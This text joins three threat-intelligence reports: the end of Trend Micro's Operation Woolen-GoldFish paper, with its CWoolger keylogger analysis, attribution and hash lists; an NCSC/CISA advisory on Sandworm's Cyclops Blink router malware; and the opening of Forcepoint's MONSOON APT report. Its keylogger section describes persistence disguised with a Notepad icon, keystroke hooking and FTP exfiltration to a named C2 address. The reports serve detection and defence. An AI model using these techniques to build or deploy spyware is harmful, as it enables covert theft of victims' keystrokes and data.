H4t UK 0f4bf1d89d080ed318597754e6d3930f8eec49b0 20/06/2013 01/12/2014 REDACTED pc12 2627cdc3324375e6f41f93597a352573e45c0f1e 23/06/2014 07/07/2014 Woole3n.
H4t aikido1 ad6c9b003285e01fc6a02148917e95c780c7d751 26/04/2014 28/04/2014 Woole3n.
H4t Hoffman 9579e65e3ae6f03ff7d362be05f9beca07a8b1b3 23/04/2014 23/04/2014 Woole3n.
H4t Woole3n.
H4t 4711f063a0c67fb11c05efdb40424377799efafd 02/07/2014 24/07/2014 REDACTED YUSI e2728cabb35c210599e248d0da9791991e38eb41 23/06/2014 02/07/2014 Woole3n.
H4t aikido1 ae18bb317909e16f765ba2e88c3d72d648db2798 23/06/2014 27/07/2014 Woole3n.
H4t UK ed5615ffb5578f1adee66f571ec65a992c033a50 23/04/2014 23/04/2014 Woole3n.
H4t Woole3n.
H4t 0482fc2e332918456b9c97d8a9590781095b2b53 29/10/2014 16/12/2014 Woole3n.
H4t USA a9245de692c16f90747388c09e9d02c3ee34577e 20/06/2013 11/11/2014 REDACTED REDACTED 6571f2b9a0aea89f45899b256458da78ac51e6bb 07/08/2014 07/08/2014 YUSI merah c727b8c43943986a888a0428ae7161ff001bf603 20/06/2013 01/12/2014 REDACTED pc12 1a999a131144afe8cb7316ebb842da4f38101ac5 02/07/2014 13/07/2014 YUSI YUSI f51de6c25ff8e1d9783ed5ac13a53d1c0ea3ef33 29/10/2014 16/12/2014 Woole3n.
H4t USA MicrosoftOfficefilesandsomeoftheirmetadataleakedbytheattackers OperatiOn WOOLen-GOLDFiSH research paper 10  Page  2015 Trend Micro Incorporated As seen above, different authors worked on these files.
Wool3n.
H4t seemed to be the main author who collaborated with aikido1 and Hoffman.
No particular information could be found on aikido1 and Yusi, the supposed partners of Wool3n.h4t.
There were also times when Wool3n.
H4t used U.S. and U.K. country codes as last modification information.
The most recent modification in the two PowerPoint files told us that W00l3n.
H4t slowly changed his infecting methods around October 2014.
There was not much information on Wool3n.
H4t, which is not a common nickname, on the Internet.
However, we found that this nickname owned an inactive blog hosted by a free service in Iran and was registered in several underground hacking forums.
The blog only contained two posts signed by Masoud_pk, which could be part of the real identity of Wool3nh4t.
Masoud is the one of the top 50 commonly used first names in Iran.
Part of wool3n.
H4ts blog showing Masoud_pk Wool3n.
H4ts Recent Activities: CWoolger Keylogger One malware sample (SHA1 hash: d5b2b30fe2d4759c199e3659d561a50f88a7fb2e detected as TSPY_ WOOLERG.A) surfaced as we tried to look for more information on Wool3n.
H4t.
[7] We took interest in this because the binary contained the following debug string: C:\Users\Wool3n.
H4t\Documents\Visual Studio 2010\Projects\C-CPP\CWoolger\Release\CWoolger.pdb Debug strings are strings that are sometimes left behind in binaries, revealing information about the developer behind the code.
This debug string shows us that the binary was compiled by a user account named Wool3n.
H4t, and that the project behind this code was dubbed CWoolger.
This malware is a keylogger, although from a technical point of view, it is not as advanced as its contemporaries.
The malware also embedded some File Transfer Protocol (FTP) credentials of the attackers in clear text in the binary.
Consistent with the other malware used by the threat actors involved in Operation Woolen-GoldFish, the CC reference is hard-coded as an IP address in the binary.
A domain name was not used.
Moreover, it lands on the system with a name, which is very similar to some GHOLE malware variants, NTUSER.dat.exe.
The malware starts by creating a mutex called woolger and creates a copy of itself, TEMP\NTSuser.exe, in the TEMP folder before executing it.
It creates a VBScript in the same folder named wsc.vbs.
OperatiOn WOOLen-GOLDFiSH research paper 11  Page  2015 Trend Micro Incorporated Startup folder entry, showing the Notepad icon but leading to the malware The wsc.vbs script in charge of installing the persistence mechanism of the malware The script installs the persistence mechanism of the malware, a link named, WinDefender, in the startup folder, which uses the Notepad icon.
It then enables keylogging by calling the SetWindowsHookExW application programming interface (API) and calls SetTimer API to prepare a timer job for uploading the log files.
Once the machine is infected, the keylogger records all keystrokes in temp/wlg.dat using the following format:  [Windows Title]  [Application Name] ([Language])  [Context] Keylogging and timer setting OperatiOn WOOLen-GOLDFiSH research paper 12  Page  2015 Trend Micro Incorporated The upload function of this malware ran at specific intervals based on a previous random value.
If the log file is larger than 3,000 bytes, an uploadToCnC function will be called to transfer the log file via FTP.
The CC server reached in our sample is 107.6.181.116, which belongs to SingleHop (AS32475).
The credentials used to connect with the FTP server are hard-coded in clear text in the binary.
When the file is sent to the server, it is renamed using the following format: LOG_(UserName)_[tm_year]_[tm_mon]_[tm_mday]_[tm_hour]_[tm_min]_[tm_sec] Member Type Meaning Range tm_sec int seconds after the minute 061 tm_min int minutes after the hour 059 tm_hour int hours since midnight 023 tm_mday int day of the month 131 tm_mon int months since January 011 tm_year int years since 1990 tm_wday int days since Sunday 06 tm_yday int days since January 1 0365 tm_isdst int Daylight Saving Time flag We have been able to detect other samples of this family acting in a similar way and referenced in the Appendix.
One of the most recent samples was compiled on 7 February 2015.
Upload function Source: http://www.cplusplus.com/reference/ctime/tm/ OperatiOn WOOLen-GOLDFiSH research paper 13  Page  2015 Trend Micro Incorporated inDiCatOrS OF COmprOmiSe The GHOLE malware campaign infiltrates networks via a spear-phishing email with an attachment containing a malicious macro.
It could also contain a malicious link that leads to Microsoft OneDrive, where the malicious file is hosted.
The GHOLE malware campaign also sends a GET request to the CC server, starting with the pattern, GET /index.php?cxxxxxxxxrxxxxxu1t.
Other network communication patterns: index.php?csrlx index.php?csrlxu1ts index.php?csrx It uses malware for the final payload detected as GHOLE or WOOLERG.
14  2015 Trend Micro Incorporated COnCLuSiOn Operation Woolen-GoldFish is alive and active.
From a technical point of view, the threat actors involved in this campaign are less mature in terms of technical capacity and tactic sophistication compared with other targeted attack groups we are monitoring, yet they are improving and gaining traction.
The spear-phishing email attacks are getting a little more aggressive and now have less user interaction at the point of entry.
Nevertheless, it is unfortunately not because an attacker is inferior in skills that there are fewer victims.
Operation Woolen-GoldFish has managed to successfully infiltrate several companies and organizations in Israel and Europe.
One PowerPoint file used as a lure in spear-phishing attempts seems to indicate that the group has successfully victimized one well-known engineer in Israel and used one of his unreleased files as bait.
Time and again, lack of proper security understanding and implementation has led individual and corporate users around the world to fall victim to creative malicious activities of threat actors.
Threat actors are also known to be multiskilled.
In this case, we were able to confirm that Wool3n.
H4t was not only responsible for most of the infecting Office files used, but was also capable of developing malware.
The discovery of the CWoolger keylogger compiled on 7 February 2015 may be the strongest indication that this targeted attack group, where Woole3n.
H4t seems to a part of, is very active and may be developing its own malware.
With Wool3n.
H4t as both the malware developer and infrastructure controller, it can be loosely deducted that the group comprise of very few people.
Seeing the evolution of this targeted attack group, we believe its members, especially Wool3n.
H4t, are traditional or old-fashioned cybercriminals.
This assumption is based on the way the campaign spreads and evolves, including the use of nicknames and password used by Wool3n.
H4t, which indicates that he rather comes from an underground hacking group.
This campaign, like the first one the group launched, shows that the targeted entities do have a particular interest for the Islamic Republic of Iran.
While motives behind targeted attack campaigns may differ, the end results are one and the sameshift in power control, either economically or politically.
The authors would like to thank Ilja Lebedev for his valuable input in this research.
OperatiOn WOOLen-GOLDFiSH research paper reFerenCeS [1] Gadi Evron and Tillmann Werner.
(
28 December 2014).
31st Chaos Communication Congress of the Chaos Computer Club (31C3).
Rocket Kitten: Advanced Off-the-Shelf Targeted Attacks Against Nation States.
Last accessed on 10 March 2015, https://www.youtube.com/watch?vWIhKovlHDJ0.
[
2] Trend Micro Incorporated.
(
2015).
Threat Encyclopedia.
BKDR_ GHOLE.B.
Last accessed on 13 March 2015, http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ BKDR_GHOLE.B.
[3] VirusTotal.
(
2015).
VirusTotal Scan.
Last accessed on 10 March 2015, https://www.virustotal.com/.
[4] Pierluigi Paganini.
(
9 September 2014).
Security Affairs.
Clearsky Detected Gholee MalwareThe Israel-Gaza Conflict Takes to the Cyber Arena.
Last accessed on 11 March 2015, http://securityaffairs.co/wordpress/28170/cyber-crime/gholee-malware.
html.
[
5] ZeroVirus.
(
2015).
Virus Scanner.
Last accessed on 11 March 2015, http://av.zerodays.ir/.
[6] Industrieanlagen-Betriebsgesellschaft mbH.
(2015).
Industrieanlagen- Betriebsgesellschaft mbH.
Last accessed on 11 March 2015, http://www.iabg.de/en/.
[7] Trend Micro Incorporated.
(
2015).
Threat Encyclopedia.
TSPY_ WOOLERG.A.
Last accessed on 13 March 2015, http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ TSPY_WOOLERG.A.
iii  Page  2015 Trend Micro Incorporated https://www.youtube.com/watch?vWIhKovlHDJ0 http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_GHOLE.B http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_GHOLE.B https://www.virustotal.com/ http://securityaffairs.co/wordpress/28170/cyber-crime/gholee-malware.html http://securityaffairs.co/wordpress/28170/cyber-crime/gholee-malware.html http://av.zerodays.ir/ http://www.iabg.de/en/ http://www.iabg.de/en/ http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/TSPY_WOOLERG.A http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/TSPY_WOOLERG.A OperatiOn WOOLen-GOLDFiSH research paper appenDix This section provides the list of SHA1 hashes found in relation to Operation Woolen-GoldFish and their corresponding Trend Micro detection names.
SHA1 Hashes Trend Micro Detection Names GHOLE Malware Campaign 8074ed48b99968f5d36a494cdeb9f80685beb0f5 BKDR_GHOLE.A e6964d467bd99e20bfef556d4ad663934407fd7b BKDR_GHOLE.A fd8793ce4ca23988562794b098b9ed20754f8a90 TROJ_GHOLE.A 6e30d3ef2cd0856ff28adce4cc012853840f6440 BKDR_GHOLE.A 07a77f8b9f0fcc93504dfba2d7d9d26246e5878f BKDR_GHOLE.B 25d3688763e33eac1428622411d6dda1ec13dd43 TROJ_GHOLE.A 729f9ce76f20822f48dac827c37024fe4ab8ff70 TROJ_GHOLE.A 86222ef166474e53f1eb6d7e6701713834e6fee7 TROJ_GHOLE.A 476489f75fed479f19bac02c79ce1befc62a6633 TROJ_GHOLE.A c1edf6e3a271cf06030cc46cbd90074488c05564 TROJ_GHOLE.A c6db3e7e723f20ed3bcf4c53fc4748e9591f4c40 BKDR_GHOLE.A cabdfe7e9920aeaa5eaca7f5415d97f564cdec11 TROJ_GHOLE.A ce03790d1df81165d092e89a077c495b75a14013 BKDR_GHOLE.A e8dbcde49c7f760165ebb0cb3452e4f1c24981f5 TROJ_GHOLE.A iv  Page  2015 Trend Micro Incorporated OperatiOn WOOLen-GOLDFiSH research paper v  Page  2015 Trend Micro Incorporated SHA1 Hashes Trend Micro Detection Names efd1c6a926095d36108177045db9ad21df926a6e TROJ_GHOLE.A fa5b587ceb5d17f26fe580aca6c02ff2e20ad3c4 TROJ_GHOLE.A fe3436294f302a93fbac389291dd20b41b038cba TROJ_GHOLE.A ffead364ae7a692afec91740d24649396e0fa981 TROJ_GHOLE.A 0b0cdf47363fd27bccbfba6d47b842e44a365723 TROJ_GHOLE.A 02b04563ef430797051aa13e48971d3490c80636 TROJ_GHOLE.A 7ad0eb113bc575363a058f4bf21dbab8c8f7073a TROJ_GHOLE.A 7fef48e1303e40110798dfec929ad88f1ad4fbd8 BKDR_GHOLE.A 22f6a61aa2d490b6a3bc36e93240d05b1e9b956a TROJ_GHOLE.A 37ad0e426f4c423385f1609561422a947a956398 BKDR_GHOLE.A 47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f BKDR_GHOLE.A 53340f9a49bc21a9e7267173566f4640376147d9 TROJ_GHOLE.A 58045d7a565f174df8efc0de98d6882675fbb07f BKDR_GHOLE.A 62172eee1a4591bde2658175dd5b8652d5aead2a TROJ_GHOLE.A Related Macro-based Malware 788d881f3bb2c82e685a98d8f405f375c0ac2162 X2KM_DROPPR.DF 2627cdc3324375e6f41f93597a352573e45c0f1e X2KM_DROPPR.DF 4711f063a0c67fb11c05efdb40424377799efafd X2KM_DROPPR.DF 6571f2b9a0aea89f45899b256458da78ac51e6bb X2KM_DROPPR.DH 9579e65e3ae6f03ff7d362be05f9beca07a8b1b3 X2KM_DROPPR.DF OperatiOn WOOLen-GOLDFiSH research paper vi  Page  2015 Trend Micro Incorporated SHA1 Hashes Trend Micro Detection Names a9245de692c16f90747388c09e9d02c3ee34577e X2KM_DROPPR.DG ad6c9b003285e01fc6a02148917e95c780c7d751 X2KM_DROPPR.DF ae18bb317909e16f765ba2e88c3d72d648db2798 X2KM_DROPPR.DF c727b8c43943986a888a0428ae7161ff001bf603 X2KM_DROPPR.DF e2728cabb35c210599e248d0da9791991e38eb41 X2KM_DROPPR.DF ec692cf82aef16cf61574b5d15e5c5f8135df288 X2KM_DROPPR.DF ed5615ffb5578f1adee66f571ec65a992c033a50 X2KM_DROPPR.DF 0f4bf1d89d080ed318597754e6d3930f8eec49b0 X2KM_DROPPR.DF CWoolger Keylogger (WOOLERG.A) a42f1ad2360833baedd2d5f59354c4fc3820c475 TSPY_WOOLERG.A d5b2b30fe2d4759c199e3659d561a50f88a7fb2e TSPY_WOOLERG.A 5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3 TSPY_WOOLERG.A Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information.
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Phone: 1.817.569,8900 http://www.trendmicro.com/us/index.html Introduction Victims and Targets Rocket Kittens New Campaign Matures The GHOLE Campaign Export Function: Function Related Samples Use of Malware Scanner GHOLE Malware Communication and Control Operation Woolen-GoldFish: Rocket Kittens New Campaign Point of Entry Initial Compromise Possible Attribution Wool3n.
H4t Wool3n.
H4ts Recent Activities: CWoolger Keylogger Indicators of Compromise Conclusion References Appendix
Advisory.
New Sandworm malware Cyclops Blink replaces VPNFilter Version 1.0 23 February 2022 Crown Copyright 2022 New Sandworm malware Cyclops Blink replaces VPNFilter The Sandworm actor, which the UK and US have previously attributed to the Russian GRU, has replaced the exposed VPNFilter malware with a new more advanced framework.
Background The UK National Cyber Security Centre (NCSC), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA) and the Federal Bureau of Investigation (FBI) in the US have identified that the actor known as Sandworm or Voodoo Bear is using a new malware, referred to here as Cyclops Blink.
The NCSC, CISA, NSA and FBI have previously attributed the Sandworm actor to the Russian GRUs Main Centre for Special Technologies GTsST.
The malicious cyber activity below has previously been attributed to Sandworm: The BlackEnergy disruption of Ukrainian electricity in 2015 Industroyer in 2016 NotPetya in 2017 Attacks against the Winter Olympics and Paralympics in 20181 A series of disruptive attacks against Georgia in 20192 Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices.
1https://www.ncsc.gov.uk/news/uk-and-partners-condemn-gru-cyber-attacks-against-olympic-an-paralympic-games 2 https://www.gov.uk/government/news/uk-condemns-russias-gru-over-georgia-cyber-attacks This advisory summarises the VPNFilter malware it replaces, and provides more detail about Cyclops Blink, as well as the associated tactics, techniques and procedures (TTPs) used by Sandworm.
An NCSC malware analysis report on Cyclops Blink is also available and can be read in parallel.
It also points to mitigation measures to help organisations that may be affected by this malware.
VPNFilter First exposed in 2018 A series of articles published by Cisco Talos in 20181 describes VPNFilter and its modules in detail.
VPNFilter was deployed in stages, with most functionality in the third-stage modules.
These modules enabled traffic manipulation, destruction of the infected host device, and likely enabled downstream devices to be exploited.
They also allowed monitoring of Modbus SCADA protocol which appears to be an ongoing requirement for Sandworm, as also seen in their previous attacks against ICS networks.
VPNFilter targeting was widespread and appeared indiscriminate, with some exceptions: Cisco Talos reported an increase of victims in Ukraine in May 2018.
Sandworm also deployed VPNFilter against targets in the Republic of Korea before the 2018 Winter Olympics.
In May 2018 Cisco Talos published the blog that exposed VPNFilter, and the US Department of Justice linked the activity2 to Sandworm, and announced its disruption of the botnet.
Activity since its exposure A Trendmicro3 blog in January 2021 detailed residual VPNFilter infections and provided data showing a reduction in requests to a known C2 domain.
Since the disruption in May 2018, Sandworm has shown limited interest in existing VPNFilter footholds, instead preferring to retool.
1 https://blog.talosintelligence.com/2018/05/VPNFilter.html 2 https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected 3 https://www.trendmicro.com/en_gb/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html Cyclops Blink Active since 2019 The NCSC, CISA, FBI and NSA, along with industry partners, have now identified a large-scale modular malware framework which is affecting network devices.
The new malware is referred to here as Cyclops Blink and has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted.
In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread.
The actor has so far primarily deployed Cyclops Blink to WatchGuard devices,1 but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.
Malware overview The malware itself is sophisticated and modular with basic core functionality to beacon (T1132.002) device information back to a server and enable files to be downloaded and executed.
There is also functionality to add new modules while the malware is running, which allows Sandworm to implement additional capability as required.
The NCSC has published a malware analysis report on Cyclops Blink which provides more detail about the malware.
Post exploitation Post exploitation, Cyclops Blink is generally deployed as part of a firmware update (T1542.001).
This achieves persistence when the device is rebooted and makes remediation harder.
1 Note that only WatchGuard devices that were reconfigured from the manufacture default settings to open remote management interfaces to external access could be infected.
https://attack.mitre.org/techniques/T1132/002 https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf https://attack.mitre.org/techniques/T1542/001/ Victim devices are organised into clusters and each deployment of Cyclops Blink has a list of command and control (C2) IP addresses and ports that it uses (T1008).
All the known C2 IP addresses to date have been used by compromised WatchGuard firewall devices.
Communications between Cyclops Blink clients and servers are protected under Transport Layer Security (TLS) (T1071.001), using individually generated keys and certificates.
Sandworm manages Cyclops Blink by connecting to the C2 layer through the Tor network: Mitigation Cyclops Blink persists on reboot and throughout the legitimate firmware update process.
Affected organisations should therefore take steps to remove the malware.
WatchGuard has worked closely with the FBI, CISA and the NCSC, and has provided tooling and guidance to enable detection and removal of Cyclops Blink on WatchGuard devices through a non-standard upgrade process.
Device owners should follow each https://attack.mitre.org/techniques/T1008 https://attack.mitre.org/techniques/T1071/001 step in these instructions to ensure that devices are patched to the latest version and that any infection is removed.
WatchGuard tooling and guidance is available at: https://detection.watchguard.com/ In addition: If your device is identified as infected with Cyclops Blink, you should assume that any passwords present on the device have been compromised and replace them (see NCSC password guidance for organisations: https://www.ncsc.gov.uk/collection/passwords ) You should ensure that the management interface of network devices is not exposed to the internet.
Indicators of compromise Please refer to the accompanying Cyclops Blink malware analysis report for indicators of compromise which may help detect this activity.
https://www.ncsc.gov.uk/collection/passwords https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf MITRE ATTCK This advisory has been compiled with respect to the MITRE ATTCK framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
Tactic Technique Procedure Initial Access T1133 External Remote Services The actors most likely deploy modified device firmware images by exploiting an externally available service Execution T1059.004 Command and Scripting Interpreter: Unix Shell Cyclops Blink executes downloaded files using the Linux API Persistence T1542.001 Pre-OS Boot: System Firmware Cyclops Blink is deployed within a modified device firmware image T1037.004 Boot or Logon Initialisation Scripts: RC Scripts Cyclops Blink is executed on device startup, using a modified RC script Defence Evasion T1562.004 Impair Defenses: Disable or Modify System Firewall Cyclops Blink modifies the Linux system firewall to enable C2 communication T1036.005 Masquerading: Match Legitimate Name or Location Cyclops Blink masquerades as a Linux kernel thread process Discovery T1082 System Information Discovery Cyclops Blink regularly queries device information Command and Control T1090 Proxy T1132.002 Data Encoding: Non-Standard Encoding Cyclops Blink command messages use a custom binary scheme to encode data T1008 Fallback Channels Cyclops Blink randomly selects a C2 server from contained lists of IPv4 addresses and port numbers T1071.001 Application Layer Protocol: Web Protocols Cyclops Blink can download files via HTTP or HTTPS T1573.002 Encrypted Channel: Asymmetric Cryptography Cyclops Blink C2 messages are individually encrypted using AES-256-CBC and sent underneath TLS T1571 Non-Standard Port The list of port numbers used by Cyclops Blink includes non-standard ports not typically associated with HTTP or HTTPS traffic Exfiltration T1041 Exfiltration Over C2 Channel Cyclops Blink can upload files to a C2 server https://attack.mitre.org/ Conclusion A Cyclops Blink infection does not mean that an organisation is the primary target, but it may be selected to be, or its machines could be used to conduct attacks.
Organisations are advised to follow the mitigation advice in this advisory and to refer to indicators of compromise (not exhaustive) in the Cyclops Blink malware analysis report to detect possible activity on networks.
UK organisations affected by the activity outlined in this advisory should report any compromises to the NCSC via our website.
https://detection.watchguard.com/ https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf https://report.ncsc.gov.uk/ Further guidance A variety of mitigations will be of use in defending against the malware featured in this advisory.
Do not expose management interfaces of network devices to the internet: the management interface is a significant attack surface, so not exposing them reduces the risk.
See NCSC guidance: https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-network- devices Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security patches promptly, use anti-virus and scan regularly to guard against known malware threats.
See NCSC guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware Use multi-factor authentication to reduce the impact of password compromises.
See NCSC guidance: https://www.ncsc.gov.uk/guidance/multi- factor-authentication-online-services and https://www.ncsc.gov.uk/guidance/setting- two-factor-authentication-2fa Treat people as your first line of defence.
Tell staff how to report suspected phishing emails, and ensure they feel confident to do so.
Investigate their reports promptly and thoroughly.
Never punish users for clicking phishing links or opening attachments.
See NCSC guidance: https://www.ncsc.gov.uk/phishing Set up a security monitoring capability so you are collecting the data that will be needed to analyse network intrusions.
See NCSC guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-security- purposes.
Prevent and detect lateral movement in your organisations networks.
See NCSC guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-network-devices https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-network-devices https://www.ncsc.gov.uk/guidance/mitigating-malware https://www.ncsc.gov.uk/guidance/multi-factor-authentication-online-services https://www.ncsc.gov.uk/guidance/multi-factor-authentication-online-services https://www.ncsc.gov.uk/guidance/setting-two-factor-authentication-2fa https://www.ncsc.gov.uk/guidance/setting-two-factor-authentication-2fa https://www.ncsc.gov.uk/phishing https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes https://www.ncsc.gov.uk/guidance/preventing-lateral-movement Disclaimers This report draws on information derived from NCSC and industry sources.
Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk.
Ownership of information risks remains with the relevant system owner at all times.
All material is UK Crown Copyright DISCLAIMER OF ENDORSEMENT The information and opinions contained in this document are provided as is and without any warranties or guarantees.
Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requestsnsa.gov.
About this document This advisory is the result of a collaborative effort by United Kingdoms National Cyber Security Centre (NCSC), the United States Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI) and National Security Agency (NSA) The United States Cybersecurity and Infrastructure Security Agency (CISA),  Federal Bureau of Investigation (FBI) and National Security Agency (NSA) agree with this attribution and the details provided in the report.
This advisory has been compiled with respect to the MITRE ATTCK framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
https://attack.mitre.org/
MONSOON ANALYSIS OF AN APT CAMPAIGN ESPIONAGE AND DATA LOSS UNDER THE COVER OF CURRENT AFFAIRS WRITTEN BY ANDY SETTLE, NICHOLAS GRIFFIN, ABEL TORO Forcepoint Security Labs    Special Investigations Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    1/57 Figure 1  Word-Cloud of Lure Document Titles Our MONSOON investigation has uncovered what is clearly a concerted and persistent campaign to steal sensitive data from a variety of critical sources.
The use of both current and topical themes [illustrated above] as lures, not only indicates the precision level of targeting but also the targeting decision process itself.
Andy Settle Head of Special Investigations Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    2/57 TABLE OF  CONTENTS Executive Summary ...................................................................................................................................... 4 Acknowledgements ................................................................................................................................... 4 Summary of Observations ............................................................................................................................ 5 Key Features ............................................................................................................................................. 5 Adversary.
.............................................................................................................................................
5 Intent.
....................................................................................................................................................
5 Infrastructure ......................................................................................................................................... 5 Capability .............................................................................................................................................. 5 Victims ................................................................................................................................................... 5 Victims of Interest .................................................................................................................................. 5 Victim of Opportunity ............................................................................................................................. 5 Timeframe ............................................................................................................................................. 5 Technical Analysis ........................................................................................................................................ 6 Initial Discovery ......................................................................................................................................... 6 Pivoting via VirusTotal ........................................................................................................................... 6 Cyber Crime Bill.
...................................................................................................................................
6 Pivoting by Author.
................................................................................................................................
6 Distribution Mechanism ......................................................................................................................... 9 E-Mail Lures  Malware Distribution ........................................................................................................ 10 Email Lures ......................................................................................................................................... 10 Topical News Lures ................................................................................................................................. 12 News Site ............................................................................................................................................ 12 Google Plus.
........................................................................................................................................
13 Facebook.
...........................................................................................................................................
14 Twitter Account.
...................................................................................................................................
15 Malware Analysis ........................................................................................................................................ 16 Weaponised Documents ......................................................................................................................... 16 Exploitation of Known Vulnerabilities ................................................................................................... 16 BADNEWS Weaponised Documents ................................................................................................... 17 AutoIt Backdoor  Unknown Logger Weaponised Documents ............................................................ 19 TINYTYPHON Weaponised Documents .............................................................................................. 19 Potential Silverlight Exploit ...................................................................................................................... 20 Silverlight Profiling ............................................................................................................................... 21 BADNEWS Malware ................................................................................................................................ 22 DLL Side-Loading ................................................................................................................................ 22 Persistence ......................................................................................................................................... 22 CC Channels ..................................................................................................................................... 23 CC Mechanism ................................................................................................................................. 26 badnews_decoder.py .......................................................................................................................... 27 Command Set ..................................................................................................................................... 28 Keylogger ............................................................................................................................................ 29 Document Crawler ............................................................................................................................... 29 Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    3/57 Window Message Processor ............................................................................................................... 29 Updater VBScript ................................................................................................................................. 30 AutoIt Backdoor ....................................................................................................................................... 30 Decompiled AutoIt Script ..................................................................................................................... 31 Document Exfiltration .......................................................................................................................... 31 Privilege Escalation.
............................................................................................................................
31 PowerShell Second Stage  Metasploit Meterpreter ........................................................................... 32 Unknown Logger Public V 1.5 ................................................................................................................. 37 Configuration ....................................................................................................................................... 40 TINYTYPHON ......................................................................................................................................... 41 Configuration  Persistence ................................................................................................................ 41 Document Crawler ............................................................................................................................... 42 Victims ................................................................................................................................................. 44 Attribution ................................................................................................................................................... 47 Victims .................................................................................................................................................... 47 Adversaries ............................................................................................................................................. 47 Cui Bono?
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47 Infrastructure ........................................................................................................................................... 48 Indicators of Compromise ........................................................................................................................... 49 Lure URLs ............................................................................................................................................... 49 Weaponised Document Hashes (SHA1) .................................................................................................. 49 BADNEWS Malware Hashes (SHA1) ...................................................................................................... 50 AutoIt Malware Hashes (SHA1) ............................................................................................................... 50 TINYTYPHON Malware Hashes (SHA1) ................................................................................................. 50 Unknown Logger Malware Hashes (SHA1) ............................................................................................. 50 Miscellaneous Samples (SHA1) .............................................................................................................. 50 BADNEWS CC ...................................................................................................................................... 50 AutoIt CC .............................................................................................................................................. 51 Meterpreter CC ..................................................................................................................................... 51 TINYTYPHON CC ................................................................................................................................. 51 Names of Lure  Weaponised Files ........................................................................................................ 51 About Us .................................................................................................................................................... 55 Figures ....................................................................................................................................................... 56 References ................................................................................................................................................. 57 Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    4/57 EXECUTIVE SUMMARY MONSOON is the name given to the Forcepoint Security Labs investigation into an ongoing espionage campaign that the Special Investigations team have been tracking and analysing since May 2016.
The overarching campaign appears to target both Chinese nationals within different industries and government agencies in Southern Asia.
It appears to have started in December 2015 and is still ongoing as of July 2016.
Amongst the evidence gathered during the MONSOON investigation were a number of indicators which make it highly probable1 that this adversary and the OPERATION HANGOVER [1], [2] adversary are one and the same.
These indicator include the use of the same infrastructure for the attacks, similar Tactics, Techniques and Procedures (TTPs), the targeting of demographically similar victims and operating geographically within the Indian Subcontinent.
The malware components used in MONSOON are typically distributed through weaponised documents sent through e-mail to specifically chosen targets.
Themes of these documents are usually political in nature and taken from recent publications on topical current affairs.
Several malware components have been used in this operation including Unknown Logger Public, TINYTYPHON, BADNEWS, and an AutoIt [3] backdoor.
BADNEWS is particularly interesting, containing resilient command-and-control (CC) capability using RSS feeds, Github, forums, blogs and Dynamic DNS hosts.
This whitepaper provides an in-depth understanding and insight into the actors and their campaign.
It includes detailed analysis and findings, previously undocumented malware components, victims, and infrastructure involved.
ACKNOWLEDGEMENTS We would like to acknowledge both Kaspersky and Cymmetria [4] who have published their own research on the groups referred to as PATCHWORK and DROPPER ELEPHANT.
We also recognise the analysis by Blue Coat in tracking OPERATION HANGOVER in the past [1].
We would like to thank the wider Forcepoint Security Labs team for their help with our investigation.
We would also like to give special thanks to Ran Mosessco for assisting with specific analysis.
1 SEE: Uncertainty Yardstick, Page  3-32 https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/311572/20110830_jdp2_00_ed3_with_change1.pdf More information is always better than less.
When people know the reason things are happening, even if its bad news, they can adjust their expectations and react accordingly.
Keeping people in the dark only serves to stir negative emotions.
Simon Sinek Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    5/57 SUMMARY OF OBSERVATIONS KEY FEATURES Adversary.
Strong indication that this is conducted by the OPERATION HANGOVER group [1].
This group has been active since at least 2010 [2].
Intent.
Data Exfiltration.
